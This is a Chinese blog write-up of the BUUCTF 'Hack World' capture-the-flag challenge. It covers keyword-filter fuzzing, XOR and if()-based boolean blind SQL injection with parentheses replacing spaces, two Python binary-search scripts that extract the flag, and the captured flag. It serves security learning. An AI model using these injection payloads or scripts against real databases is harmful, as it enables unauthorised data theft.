Loading

BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World

判断过滤哪些关键词和字符

使用Burp Suite的Intruder,字典内容就是常见的SQL注入的一些函数名、符号等。
buuoj有访问限制,访问太快会提示429 Too Many Requests,所以,需要设置一下延时。

返回长度有493、492、482、472,分别对应不同的回显。

  • 493:Hello, glzjin wants a girlfriend.
  • 492:Error Occured When Fetch Result.
  • 482:SQL Injection Checked.
  • 472:bool(false)

其中主要是482的过滤和472返回的bool,也没有其它回显,所以猜测布尔盲注。但是空格、or、and等都被过滤了

SQL异或运算

大概在这里应用就是假^假=假真^真=假假^真=真真^假=真null^any=null
当我们查询 1^00^1、和1的回显是正常的,而查询1^10^0会有报错提示。
所以结合SQL语句,我们可以构造0^payload,若为payload结果真,则返回...;反之...
因为空格被过滤,所以用括号来代替空格
构造payload:1^(ascii(substr((select(flag)from(flag)),1,1))>1)

  • substr():截取查询结果的从第一字符开始的一个字符
  • ascii():ascii值>1指这个值不为NULL

盲注python脚本:

import requests
import time
import re
url='http://a7496ddf-f4d9-410a-94da-53ab915296e3.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        s = (int)((max+min)/2)
        payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(0.1)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            max=s
        else:
            min=s
        if((max-min)<=1):
            flag+=chr(max)
            break
print(flag)
  • ASCII对照表共定义了128个字符
  • flag长度根据经验是43
  • 二分法
  • 请求sleep(0.1)还是因为网站的访问限制

SQL的三目运算

if(表达式1,表达式2,表达式3)
如果表达式1是正确的,那么执行表达式2,否则执行表达式3。

构建payload:if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
如果if正确,则执行1,返回Hello, glzjin wants a girlfriend 否则执行2,则返回Do you want to be my girlfriend?

import requests
import time

url = 'http://35a3724e-07df-4562-a21b-bfbf5b06b2d2.node4.buuoj.cn:81/index.php'
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
        data = {
            "id":payload
        }
        response = requests.post(url, data = data)
        time.sleep(0.1)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

得到flag{077e00cd-7633-44ed-9ab4-f860ead793b8}




参考链接:
https://blog.csdn.net/TM_1024/article/details/106978766

posted @ 2023-08-30 15:02  Amsterdamnit  阅读(202)  评论(0)    收藏  举报